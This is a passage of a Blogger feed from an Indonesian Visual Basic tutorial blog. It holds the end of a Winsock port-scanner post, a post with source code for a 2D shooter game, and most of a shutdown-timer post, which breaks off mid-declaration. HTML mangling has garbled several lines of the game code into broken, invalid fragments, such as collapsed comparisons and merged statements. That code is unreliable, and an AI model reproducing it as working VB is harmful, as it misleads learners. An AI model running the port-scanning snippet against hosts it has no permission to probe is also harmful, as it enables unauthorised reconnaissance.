class="alt2" dir="ltr" style="border: 1px inset ; margin: 0px; padding: 6px; overflow: auto; width: 550px; height: 66px; text-align: left; font-family: Courier New,monospace;"&gt;Private Sub Command1_Click()&lt;br /&gt;Timer1.Enabled = True&lt;br /&gt;End Sub&lt;/pre&gt; &lt;/div&gt;&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt;  &lt;div class="smallfont" style="margin-bottom: 2px;"&gt;Code:&lt;/div&gt;  &lt;pre class="alt2" dir="ltr" style="border: 1px inset ; margin: 0px; padding: 6px; overflow: auto; width: 550px; height: 82px; text-align: left; font-family: Courier New,monospace;"&gt;Private Sub Command2_Click()&lt;br /&gt;Timer1.Enabled = False&lt;br /&gt;Text2.Text = "0"&lt;br /&gt;End Sub&lt;/pre&gt; &lt;/div&gt;&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt;  &lt;div class="smallfont" style="margin-bottom: 2px;"&gt;Code:&lt;/div&gt;  &lt;pre class="alt2" dir="ltr" style="border: 1px inset ; margin: 0px; padding: 6px; overflow: auto; width: 550px; height: 66px; text-align: left; font-family: Courier New,monospace;"&gt;Private Sub Command3_Click()&lt;br /&gt;List1.Clear&lt;br /&gt;End Sub&lt;/pre&gt; &lt;/div&gt;&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt;  &lt;div class="smallfont" style="margin-bottom: 2px;"&gt;Code:&lt;/div&gt;  &lt;pre class="alt2" dir="ltr" style="border: 1px inset ; margin: 0px; padding: 6px; overflow: auto; width: 550px; height: 66px; text-align: left; font-family: Courier New,monospace;"&gt;Private Sub Winsock1_Connect()&lt;br /&gt;List1.AddItem Winsock1.RemotePort &amp;amp; " is open!"&lt;br /&gt;End Sub&lt;/pre&gt; &lt;/div&gt;Jika port sudah discan maka hasilnya akan tampil di listbox&lt;br /&gt;&lt;span style="color:SeaGreen;"&gt;&lt;span style="font-size:100%;"&gt;&lt;/span&gt;Selamat mencoba dan mengembangkan sendiri...&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7872901297791207431-7996022795840578966?l=vbthok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vbthok.blogspot.com/feeds/7996022795840578966/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7872901297791207431&amp;postID=7996022795840578966' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/7996022795840578966'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/7996022795840578966'/><link rel='alternate' type='text/html' href='http://vbthok.blogspot.com/2008/11/membuat-program-port-scanner.html' title='Membuat program Port Scanner'/><author><name>ToMeE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7872901297791207431.post-8014413422777112530</id><published>2008-11-05T11:01:00.012+07:00</published><updated>2008-11-22T10:58:51.048+07:00</updated><title type='text'>Latihan membuat game dengan VB</title><content type='html'>&lt;p&gt;&lt;span style=";font-family:Verdana,Arial,Helvetica,sans-serif;font-size:85%;"  &gt;&lt;strong&gt;&lt;img src="http://www.sourcesystems.net/humayun/Projects/Visual_Basic_Game.GIF" width="292" height="183" /&gt;  &lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;                          &lt;p&gt;&lt;span style=";font-family:Verdana,Arial,Helvetica,sans-serif;font-size:85%;"  &gt;&lt;br /&gt;Kali ini kita kita akan belajar membuat game yang nantinya bisa kamu kembangkan sendiri.Penulis hanya membuat sample ini supaya kamu bisa menciptakan sendiri game yang lebih bagus.Game ini sangat simple dengan tampilan 2 dimensi menggunakan scipt kode di VB. Ada tiga option yang bisa dipilih yaitu :&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;             &lt;p&gt;&lt;span style=";font-family:Verdana,Arial,Helvetica,sans-serif;font-size:85%;"  &gt;1)                Start&lt;br /&gt;          2) Options&lt;br /&gt;          3) The Game &lt;/span&gt;&lt;/p&gt;             &lt;p&gt;&lt;span style=";font-family:Verdana,Arial,Helvetica,sans-serif;font-size:85%;"  &gt;&lt;strong&gt;Komponen yang digunakan&lt;br /&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;             &lt;span style=";font-family:Verdana,Arial,Helvetica,sans-serif;font-size:85%;"  &gt; &lt;/span&gt;&lt;p&gt;&lt;span style=";font-family:Verdana,Arial,Helvetica,sans-serif;font-size:85%;"  &gt;1)                Timer Control&lt;br /&gt;          2) Picture Control&lt;br /&gt;          3) Label Control&lt;br /&gt;          4) Windows Media ocx&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;span style=";font-family:Verdana,Arial,Helvetica,sans-serif;font-size:85%;"  &gt; &lt;/span&gt;             &lt;p&gt;&lt;span style=";font-family:Verdana,Arial,Helvetica,sans-serif;font-size:85%;"  &gt;Untuk bermain game ini hanya menggunakan tombol arah serta tombol spasi. Silakan mencoba sendiri..&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=";font-family:Verdana,Arial,Helvetica,sans-serif;font-size:85%;"  &gt;Dan berikut sample codenya&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;span style="color: rgb(0, 0, 204);font-family:Verdana,Arial,Helvetica,sans-serif;font-size:100%;"  &gt;&lt;br /&gt;&lt;span class="fullpost"&gt; Option                    Explicit&lt;br /&gt;              Dim u, d, l, r, showm As Boolean&lt;br /&gt;              Dim x, y As Integer&lt;br /&gt;              Dim mx, my As Integer&lt;br /&gt;              Dim ex, ey As Integer&lt;br /&gt;              Dim score As Long&lt;br /&gt;              Dim fuel As Integer&lt;br /&gt;              Dim es As Integer&lt;br /&gt;         &lt;br /&gt;              Private Sub Form_Load()'MediaPlayer1.playerApplication = App.Path                    &amp;amp; "\sfx\fire.wav"&lt;br /&gt;              'MediaPlayer2.FileName = App.Path &amp;amp; "\sfx\Explosion.wav"&lt;br /&gt;              'MediaPlayer3.FileName = App.Path &amp;amp; "\sfx\mainsound.mp3"lblScore.Caption                    = "0"x = 0&lt;br /&gt;              y = 0ex = -100&lt;br /&gt;              ex = -100es = 10fuel = 1&lt;br /&gt;              End Sub&lt;br /&gt;         &lt;br /&gt;              Private Sub Form_Paint()&lt;br /&gt;              shooter.SetFocus&lt;br /&gt;              End Sub&lt;br /&gt;         &lt;br /&gt;              Private Sub shooter_KeyDown(KeyCode As Integer, Shift As Integer)               &lt;br /&gt;              If KeyCode = 49 Then speed = speed - 1&lt;br /&gt;              If speed &lt;= 0 Then speed = 0                   If speed &gt; 30 Then speed = 30&lt;br /&gt;         &lt;br /&gt;              If KeyCode = 50 Then speed = speed + 1&lt;br /&gt;              If KeyCode = vbKeyLeft Then l = True&lt;br /&gt;              If KeyCode = vbKeyRight Then r = True&lt;br /&gt;              If KeyCode = vbKeyUp Then u = True&lt;br /&gt;              If KeyCode = vbKeyDown Then d = True&lt;br /&gt;              If KeyCode = vbKeySpace Then&lt;br /&gt;              If Not showm Then&lt;br /&gt;              fireit&lt;br /&gt;              End If&lt;br /&gt;              End If&lt;br /&gt;              If KeyCode = vbKeyEscape Then Unload Me: End&lt;br /&gt;              End Sub&lt;br /&gt;         &lt;br /&gt;              Private Sub shooter_KeyUp(KeyCode As Integer, Shift As Integer)&lt;br /&gt;              If KeyCode = vbKeyLeft Then l = False&lt;br /&gt;              If KeyCode = vbKeyRight Then r = False&lt;br /&gt;              If KeyCode = vbKeyUp Then u = False&lt;br /&gt;              If KeyCode = vbKeyDown Then d = False&lt;br /&gt;              End Sub&lt;br /&gt;         &lt;br /&gt;              Private Sub Timer1_Timer()Static ch As Boolean&lt;br /&gt;              ch = Not chIf ch Then&lt;br /&gt;              shooter.Picture = Picture2.Picture&lt;br /&gt;              Else&lt;br /&gt;              shooter.Picture = Picture3.Picture&lt;br /&gt;              End If&lt;br /&gt;              End Sub&lt;br /&gt;         &lt;br /&gt;              Private Sub&lt;br /&gt;              Timer2_Timer()&lt;br /&gt;              If l Then&lt;br /&gt;              x = x - speed&lt;br /&gt;              If x &lt; x =" 0" x =" x"&gt;= Me.ScaleWidth - 100 Then x = Me.ScaleWidth - 100&lt;br /&gt;         &lt;br /&gt;              End If&lt;br /&gt;         &lt;br /&gt;              If u Then&lt;br /&gt;              y = y - speed&lt;br /&gt;              If y &lt; y =" 0" y =" y"&gt;= Me.ScaleHeight - 100 Then y = Me.ScaleHeight - 100&lt;br /&gt;              End If&lt;br /&gt;         &lt;br /&gt;              Label5.Caption = "X = " &amp;amp; x&lt;br /&gt;              Label6.Caption = "Y = " &amp;amp; y&lt;br /&gt;         &lt;br /&gt;              shooter.Left = x&lt;br /&gt;              shooter.Top = y&lt;br /&gt;         &lt;br /&gt;              Label3.Caption = CStr(speed)&lt;br /&gt;         &lt;br /&gt;              If showm Then&lt;br /&gt;         &lt;br /&gt;              mx = mx + 20&lt;br /&gt;              If mx &gt; Me.ScaleWidth Then&lt;br /&gt;              showm = False&lt;br /&gt;              fire.Visible = False&lt;br /&gt;         &lt;br /&gt;              End If&lt;br /&gt;         &lt;br /&gt;              fire.Left = mx&lt;br /&gt;              fire.Top = my&lt;br /&gt;         &lt;br /&gt;              If (my &gt; ey And my &lt;&gt; ex) Then&lt;br /&gt;              score = score + 10&lt;br /&gt;              showm = False&lt;br /&gt;              SetEn&lt;br /&gt;              End If&lt;br /&gt;         &lt;br /&gt;              Else&lt;br /&gt;              fire.Visible = False&lt;br /&gt;         &lt;br /&gt;              End If&lt;br /&gt;         &lt;br /&gt;              ex = ex - es&lt;br /&gt;              en.Left = ex&lt;br /&gt;              If ex &lt; -200 Then                   SetEn                   en.Top = ey                   End If                   lblScore = CStr(score)                                     Label8.Caption = "EX = " &amp;amp; ex                   Label7.Caption = "EY = " &amp;amp; ey                                                                                           If (y &gt; ey - 40 And y &lt;&gt; ex And x                    &lt; fuel =" fuel"&gt; 1 Then MediaPlayer2.Play&lt;br /&gt;              Picture1.BackColor = RGB(Rnd * 255, Rnd * 255, Rnd * 255)&lt;br /&gt;         &lt;br /&gt;              SetEn Select Case fuel&lt;br /&gt;         &lt;br /&gt;              Case 2&lt;br /&gt;              Image1.Picture = LoadPicture(App.Path &amp;amp; "\data\fuel50.gif")&lt;br /&gt;         &lt;br /&gt;              Case 3&lt;br /&gt;              Image1.Picture = LoadPicture(App.Path &amp;amp; "\data\fuel20.gif")&lt;br /&gt;         &lt;br /&gt;              Case 4&lt;br /&gt;              Image1.Picture = LoadPicture(App.Path &amp;amp; "\data\game-over.gif")&lt;br /&gt;         &lt;br /&gt;              End Select&lt;br /&gt;         &lt;br /&gt;              If fuel = 4 Then&lt;br /&gt;         &lt;br /&gt;              MsgBox "Game Over", vbCritical, "Shooter"&lt;br /&gt;              Unload Me&lt;br /&gt;              Form2.Show&lt;br /&gt;         &lt;br /&gt;              End If&lt;br /&gt;         &lt;br /&gt;              End If&lt;br /&gt;              End Sub&lt;br /&gt;         &lt;br /&gt;              Private Sub fireit()&lt;br /&gt;              'MediaPlayer1.Play&lt;br /&gt;              showm = Truemx = shooter.Left + 100&lt;br /&gt;              my = shooter.Top + 50&lt;br /&gt;              fire.Visible = True&lt;br /&gt;              End Sub&lt;br /&gt;         &lt;br /&gt;              Public Sub SetEn()&lt;br /&gt;              ey = Int(Rnd * Me.ScaleHeight) - 100&lt;br /&gt;         &lt;br /&gt;              ex = Me.ScaleWidth&lt;br /&gt;              en.Left = ex&lt;br /&gt;              en.Top = ey&lt;br /&gt;         &lt;br /&gt;              End Sub&lt;br /&gt;         &lt;br /&gt;              Private Sub Timer3_Timer()&lt;br /&gt;              es = es + 5&lt;br /&gt;              End Sub&lt;br /&gt;&lt;br /&gt;Berikut source code yang sudah jadi &lt;a href="http://www.ziddu.com/download/2582690/Visual_Basic_Game.zip.html"&gt;download&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7872901297791207431-8014413422777112530?l=vbthok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vbthok.blogspot.com/feeds/8014413422777112530/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7872901297791207431&amp;postID=8014413422777112530' title='1 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/8014413422777112530'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/8014413422777112530'/><link rel='alternate' type='text/html' href='http://vbthok.blogspot.com/2008/11/latihan-membuat-game-dengan-vb.html' title='Latihan membuat game dengan VB'/><author><name>ToMeE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7872901297791207431.post-3223582505428424975</id><published>2008-10-30T21:26:00.028+07:00</published><updated>2008-11-22T11:06:12.529+07:00</updated><title type='text'>Shutdown Timer menggunakan VB</title><content type='html'>Shutdown timer adalah program yang berfungsi untuk menentukan kapan komputer akan dimatikan secara otomatis setelah menentukan dengan sebuh program.Nah kali ini kamu bisa membuat sendiri program shutdown timer dengan kreasi kalian sendiri.&lt;br /&gt;atau kalian bisa mencontoh desain seperti dibawah ini.&lt;br /&gt;&lt;br /&gt;&lt;img alt="Shutdown Timer" src="http://www.11amdesign.com/visualbasic/shutdown_timer.gif" width="239" height="235" /&gt;&lt;br /&gt;&lt;br /&gt;komponen yang dibutuhkan adalah :&lt;br /&gt;&lt;br /&gt;3 Command Buttons&lt;br /&gt;4 Combo Boxes&lt;br /&gt;1 Form&lt;br /&gt;6 Labels&lt;br /&gt;2 List Boxes&lt;br /&gt;8 Menus&lt;br /&gt;1 Timer&lt;br /&gt;1 Module&lt;br /&gt;&lt;br /&gt;jika kamu tidak ingin repot dengan membuat sendiri kamu juga bisa download source codenya yang sudah jadi dan langsung jalan&lt;br /&gt;&lt;a href="http://www.4shared.com/file/69014133/3e91888/shutdown_timer.html"&gt;disini&lt;/a&gt;&lt;br /&gt;Berikut source code lengkapnya&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;Option Explicit&lt;br /&gt;Private Sub btnExit_Click()&lt;br /&gt;frmCancelUnload = False&lt;br /&gt;Unload Me&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub btnTurnOFF_Click()&lt;br /&gt;btnTurnON.Enabled = True&lt;br /&gt;btnTurnOFF.Enabled = False&lt;br /&gt;&lt;br /&gt;mnuPopupTurnON.Enabled = True&lt;br /&gt;mnuPopupTurnOFF.Enabled = False&lt;br /&gt;&lt;br /&gt;cboHour.Enabled = True&lt;br /&gt;cboMinute.Enabled = True&lt;br /&gt;cboSecond.Enabled = True&lt;br /&gt;cboAMPM.Enabled = True&lt;br /&gt;lstOptions.Enabled = True&lt;br /&gt;lstExtra.Enabled = True&lt;br /&gt;&lt;br /&gt;Me.Caption = "Shutdown Timer - OFF"&lt;br /&gt;&lt;br /&gt;tmrShutdown.Enabled = False&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub btnTurnON_Click()&lt;br /&gt;btnTurnON.Enabled = False&lt;br /&gt;btnTurnOFF.Enabled = True&lt;br /&gt;&lt;br /&gt;mnuPopupTurnON.Enabled = False&lt;br /&gt;mnuPopupTurnOFF.Enabled = True&lt;br /&gt;&lt;br /&gt;cboHour.Enabled = False&lt;br /&gt;cboMinute.Enabled = False&lt;br /&gt;cboSecond.Enabled = False&lt;br /&gt;cboAMPM.Enabled = False&lt;br /&gt;lstOptions.Enabled = False&lt;br /&gt;lstExtra.Enabled = False&lt;br /&gt;&lt;br /&gt;Me.Caption = "Shutdown Timer - ON"&lt;br /&gt;&lt;br /&gt;strShutdown = cboHour.Text &amp;amp; ":" &amp;amp; cboMinute.Text &amp;amp; ":" &amp;amp; cboSecond.Text &amp;amp; " " &amp;amp; cboAMPM.Text&lt;br /&gt;tmrShutdown.Enabled = True&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub cboAMPM_Click()&lt;br /&gt;strShutdown = cboHour.Text &amp;amp; ":" &amp;amp; cboMinute.Text &amp;amp; ":" &amp;amp; cboSecond.Text &amp;amp; " " &amp;amp; cboAMPM.Text&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub cboHour_Click()&lt;br /&gt;strShutdown = cboHour.Text &amp;amp; ":" &amp;amp; cboMinute.Text &amp;amp; ":" &amp;amp; cboSecond.Text &amp;amp; " " &amp;amp; cboAMPM.Text&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub cboMinute_Click()&lt;br /&gt;strShutdown = cboHour.Text &amp;amp; ":" &amp;amp; cboMinute.Text &amp;amp; ":" &amp;amp; cboSecond.Text &amp;amp; " " &amp;amp; cboAMPM.Text&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub cboSecond_Click()&lt;br /&gt;strShutdown = cboHour.Text &amp;amp; ":" &amp;amp; cboMinute.Text &amp;amp; ":" &amp;amp; cboSecond.Text &amp;amp; " " &amp;amp; cboAMPM.Text&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Form_Load()&lt;br /&gt;Dim intCnt As Integer&lt;br /&gt;&lt;br /&gt;Dim strOptSel As String&lt;br /&gt;Dim strExtSel As String&lt;br /&gt;&lt;br /&gt;Dim strHour As String&lt;br /&gt;Dim strMinute As String&lt;br /&gt;Dim strSecond As String&lt;br /&gt;Dim strAMPM As String&lt;br /&gt;&lt;br /&gt;For intCnt = 1 To 12&lt;br /&gt;DoEvents&lt;br /&gt;cboHour.AddItem intCnt&lt;br /&gt;Next intCnt&lt;br /&gt;&lt;br /&gt;For intCnt = 0 To 59&lt;br /&gt;DoEvents&lt;br /&gt;cboMinute.AddItem intCnt&lt;br /&gt;Next intCnt&lt;br /&gt;&lt;br /&gt;For intCnt = 0 To 59&lt;br /&gt;DoEvents&lt;br /&gt;cboSecond.AddItem intCnt&lt;br /&gt;Next intCnt&lt;br /&gt;&lt;br /&gt;With lstOptions&lt;br /&gt;.AddItem "Shutdown OS"&lt;br /&gt;.AddItem "Turn off Computer"&lt;br /&gt;.AddItem "Restart"&lt;br /&gt;.AddItem "Log off"&lt;br /&gt;End With&lt;br /&gt;&lt;br /&gt;cboAMPM.AddItem "AM"&lt;br /&gt;cboAMPM.AddItem "PM"&lt;br /&gt;&lt;br /&gt;lstExtra.AddItem "Use Force"&lt;br /&gt;lstExtra.AddItem "Force only if Freezes"&lt;br /&gt;&lt;br /&gt;strIniPath = App.Path &amp;amp; "\" &amp;amp; App.Title &amp;amp; ".ini"&lt;br /&gt;&lt;br /&gt;strOptSel = String(255, vbNullChar)&lt;br /&gt;strExtSel = String(255, vbNullChar)&lt;br /&gt;&lt;br /&gt;Call GetPrivateProfileString("Options", "Selected", 1, strOptSel, 255, strIniPath)&lt;br /&gt;Call GetPrivateProfileString("Extra", "Selected", 1, strExtSel, 255, strIniPath)&lt;br /&gt;&lt;br /&gt;lstOptions.Selected(Int(strOptSel)) = True&lt;br /&gt;lstExtra.Selected(Int(strExtSel)) = True&lt;br /&gt;&lt;br /&gt;strHour = String(255, vbNullChar)&lt;br /&gt;strMinute = String(255, vbNullChar)&lt;br /&gt;strSecond = String(255, vbNullChar)&lt;br /&gt;strAMPM = String(255, vbNullChar)&lt;br /&gt;&lt;br /&gt;Call GetPrivateProfileString("Shutdown", "Hour", 3, strHour, 255, strIniPath)&lt;br /&gt;Call GetPrivateProfileString("Shutdown", "Minute", 15, strMinute, 255, strIniPath)&lt;br /&gt;Call GetPrivateProfileString("Shutdown", "Second", 45, strSecond, 255, strIniPath)&lt;br /&gt;Call GetPrivateProfileString("Shutdown", "AMPM", "AM", strAMPM, 255, strIniPath)&lt;br /&gt;&lt;br /&gt;cboHour.Text = strHour&lt;br /&gt;cboMinute.Text = strMinute&lt;br /&gt;cboSecond.Text = strSecond&lt;br /&gt;cboAMPM.Text = strAMPM&lt;br /&gt;&lt;br /&gt;strShutdown = cboHour.Text &amp;amp; ":" &amp;amp; cboMinute.Text &amp;amp; ":" &amp;amp; cboSecond.Text &amp;amp; " " &amp;amp; cboAMPM.Text&lt;br /&gt;&lt;br /&gt;If IsWinNT = False Then lstExtra.Enabled = False&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Form_MouseMove(Button As Integer, Shift As Integer, x As Single, y As Single)&lt;br /&gt;Dim xTray As Single&lt;br /&gt;&lt;br /&gt;xTray = x / Screen.TwipsPerPixelX&lt;br /&gt;&lt;br /&gt;Select Case xTray&lt;br /&gt;Case WM_RBUTTONDOWN&lt;br /&gt;Call SetForegroundWindow(Me.hwnd)&lt;br /&gt;Call PopupMenu(mnuPopup)&lt;br /&gt;Case WM_LBUTTONDBLCLK&lt;br /&gt;Call SetForegroundWindow(Me.hwnd)&lt;br /&gt;Me.Show&lt;br /&gt;End Select&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)&lt;br /&gt;Cancel = frmCancelUnload&lt;br /&gt;If frmCancelUnload = True Then&lt;br /&gt;Me.WindowState = vbMinimized&lt;br /&gt;Me.Hide&lt;br /&gt;Me.WindowState = vbNormal&lt;br /&gt;End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Form_Unload(Cancel As Integer)&lt;br /&gt;Call Shell_NotifyIcon(NIM_DELETE, nid_Tray)&lt;br /&gt;Call SavePos(Me, strIniPath)&lt;br /&gt;&lt;br /&gt;Call WriteINI("Options", "Selected", lstOptions.ListIndex, strIniPath)&lt;br /&gt;Call WriteINI("Extra", "Selected", lstExtra.ListIndex, strIniPath)&lt;br /&gt;&lt;br /&gt;Call WriteINI("Shutdown", "Hour", cboHour.Text, strIniPath)&lt;br /&gt;Call WriteINI("Shutdown", "Minute", cboMinute.Text, strIniPath)&lt;br /&gt;Call WriteINI("Shutdown", "Second", cboSecond.Text, strIniPath)&lt;br /&gt;Call WriteINI("Shutdown", "AMPM", cboAMPM.Text, strIniPath)&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub lstExtra_Click()&lt;br /&gt;lstExtra.Selected(lstExtra.ListIndex) = True&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub lstExtra_ItemCheck(Item As Integer)&lt;br /&gt;Dim iLst As Integer&lt;br /&gt;&lt;br /&gt;For iLst = 0 To (lstExtra.ListCount - 1)&lt;br /&gt;If iLst &lt;&gt; Item Then lstExtra.Selected(iLst) = False&lt;br /&gt;Next iLst&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub lstOptions_Click()&lt;br /&gt;lstOptions.Selected(lstOptions.ListIndex) = True&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub lstOptions_ItemCheck(Item As Integer)&lt;br /&gt;Dim iLst As Integer&lt;br /&gt;For iLst = 0 To (lstOptions.ListCount - 1)&lt;br /&gt;DoEvents&lt;br /&gt;If iLst &lt;&gt; Item Then lstOptions.Selected(iLst) = False&lt;br /&gt;Next iLst&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub mnuPopup_Click()&lt;br /&gt;Select Case Me.Visible&lt;br /&gt;Case True&lt;br /&gt;mnuPopupHide.Enabled = True&lt;br /&gt;mnuPopupShow.Enabled = False&lt;br /&gt;Case False&lt;br /&gt;mnuPopupHide.Enabled = False&lt;br /&gt;mnuPopupShow.Enabled = True&lt;br /&gt;End Select&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub mnuPopupExit_Click()&lt;br /&gt;Call btnExit_Click&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub mnuPopupHide_Click()&lt;br /&gt;Me.Hide&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub mnuPopupShow_Click()&lt;br /&gt;Me.Show&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub mnuPopupTurnOFF_Click()&lt;br /&gt;Call btnTurnOFF_Click&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub mnuPopupTurnON_Click()&lt;br /&gt;Call btnTurnON_Click&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub tmrShutdown_Timer()&lt;br /&gt;Dim lngFlags As Long&lt;br /&gt;&lt;br /&gt;If FormatDateTime(strShutdown, vbLongTime) = FormatDateTime(Time, vbLongTime) Then&lt;br /&gt;Select Case lstOptions.ListIndex&lt;br /&gt;Case 0 'Shutdown OS&lt;br /&gt;lngFlags = EWX_SHUTDOWN&lt;br /&gt;Case 1 'Turn off System&lt;br /&gt;lngFlags = EWX_POWEROFF&lt;br /&gt;Case 2 'Restart&lt;br /&gt;lngFlags = EWX_REBOOT&lt;br /&gt;Case 3 'Logoff&lt;br /&gt;lngFlags = EWX_LOGOFF&lt;br /&gt;End Select&lt;br /&gt;&lt;br /&gt;Select Case lstExtra.ListIndex&lt;br /&gt;Case 0 'Use force&lt;br /&gt;lngFlags = lngFlags Or EWX_FORCE&lt;br /&gt;Case 1 'Force only if freezes&lt;br /&gt;lngFlags = lngFlags Or EWX_FORCEIFHUNG&lt;br /&gt;End Select&lt;br /&gt;&lt;br /&gt;If IsWinNT = True Then Call EnableNTShutdown&lt;br /&gt;Call ExitWindowsEx(lngFlags, 0)&lt;br /&gt;&lt;br /&gt;Call btnTurnOFF_Click&lt;br /&gt;End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Source Code untuk module nya&lt;br /&gt;Public Const ANYSIZE_ARRAY As Long = 1&lt;br /&gt;&lt;br /&gt;Public Const EWX_FORCE As Long = 4&lt;br /&gt;Public Const EWX_FORCEIFHUNG As Long = &amp;amp;H10&lt;br /&gt;Public Const EWX_LOGOFF As Long = 0&lt;br /&gt;Public Const EWX_POWEROFF As Long = &amp;amp;H8&lt;br /&gt;Public Const EWX_REBOOT As Long = 2&lt;br /&gt;Public Const EWX_SHUTDOWN As Long = 1&lt;br /&gt;&lt;br /&gt;Public Const MAX_COMPUTERNAME As Long = 15&lt;br /&gt;&lt;br /&gt;Public Const SE_PRIVILEGE_ENABLED As Long = &amp;amp;H2&lt;br /&gt;&lt;br /&gt;Public Const TOKEN_ADJUST_DEFAULT As Long = &amp;amp;H80&lt;br /&gt;Public Const TOKEN_ADJUST_GROUPS As Long = &amp;amp;H40&lt;br /&gt;Public Const TOKEN_ADJUST_PRIVILEGES As Long = &amp;amp;H20&lt;br /&gt;Public Const TOKEN_ADJUST_SESSIONID As Long = &amp;amp;H100&lt;br /&gt;Public Const TOKEN_QUERY As Long = &amp;amp;H8&lt;br /&gt;&lt;br /&gt;Public Const VER_PLATFORM_WIN32_NT As Long = 2&lt;br /&gt;&lt;br /&gt;Public Const NIF_ICON = &amp;amp;H2&lt;br /&gt;Public Const NIF_MESSAGE = &amp;amp;H1&lt;br /&gt;Public Const NIF_TIP = &amp;amp;H4&lt;br /&gt;&lt;br /&gt;Public Const NIM_ADD = &amp;amp;H0&lt;br /&gt;Public Const NIM_DELETE = &amp;amp;H2&lt;br /&gt;Public Const NIM_MODIFY = &amp;amp;H1&lt;br /&gt;&lt;br /&gt;Public Const WM_LBUTTONDBLCLK As Long = &amp;amp;H203&lt;br /&gt;Public Const WM_MOUSEMOVE As Long = &amp;amp;H200&lt;br /&gt;Public Const WM_RBUTTONDOWN As Long = &amp;amp;H204&lt;br /&gt;&lt;br /&gt;Public Const HWND_TOPMOST As Long = -1&lt;br /&gt;&lt;br /&gt;Public Const SWP_NOMOVE As Long = &amp;amp;H2&lt;br /&gt;Public Const SWP_NOSIZE As Long = &amp;amp;H1&lt;br /&gt;&lt;br /&gt;Public Type LARGE_INTEGER&lt;br /&gt;LowPart As Long&lt;br /&gt;HighPart As Long&lt;br /&gt;End Type&lt;br /&gt;&lt;br /&gt;Public Type LUID&lt;br /&gt;LowPart As Long&lt;br /&gt;HighPart As Long&lt;br /&gt;End Type&lt;br /&gt;&lt;br /&gt;Public Type LUID_AND_ATTRIBUTES&lt;br /&gt;pLuid As LUID&lt;br /&gt;Attributes As Long&lt;br /&gt;End Type&lt;br /&gt;&lt;br /&gt;Public Type OSVERSIONINFO&lt;br /&gt;dwOSVersionInfoSize As Long&lt;br /&gt;dwMajorVersion As Long&lt;br /&gt;dwMinorVersion As Long&lt;br /&gt;dwBuildNumber As Long&lt;br /&gt;dwPlatformId As Long&lt;br /&gt;szCSDVersion As String * 128&lt;br /&gt;End Type&lt;br /&gt;&lt;br /&gt;Public Type TOKEN_PRIVILEGES&lt;br /&gt;PrivilegeCount As Long&lt;br /&gt;Privileges(ANYSIZE_ARRAY) As LUID_AND_ATTRIBUTES&lt;br /&gt;End Type&lt;br /&gt;&lt;br /&gt;Public Type NOTIFYICONDATA&lt;br /&gt;cbSize As Long&lt;br /&gt;hwnd As Long&lt;br /&gt;uID As Long&lt;br /&gt;uFlags As Long&lt;br /&gt;uCallbackMessage As Long&lt;br /&gt;hIcon As Long&lt;br /&gt;szTip As String * 64&lt;br /&gt;End Type&lt;br /&gt;&lt;br /&gt;'ADVAPI32&lt;br /&gt;Public Declare Function 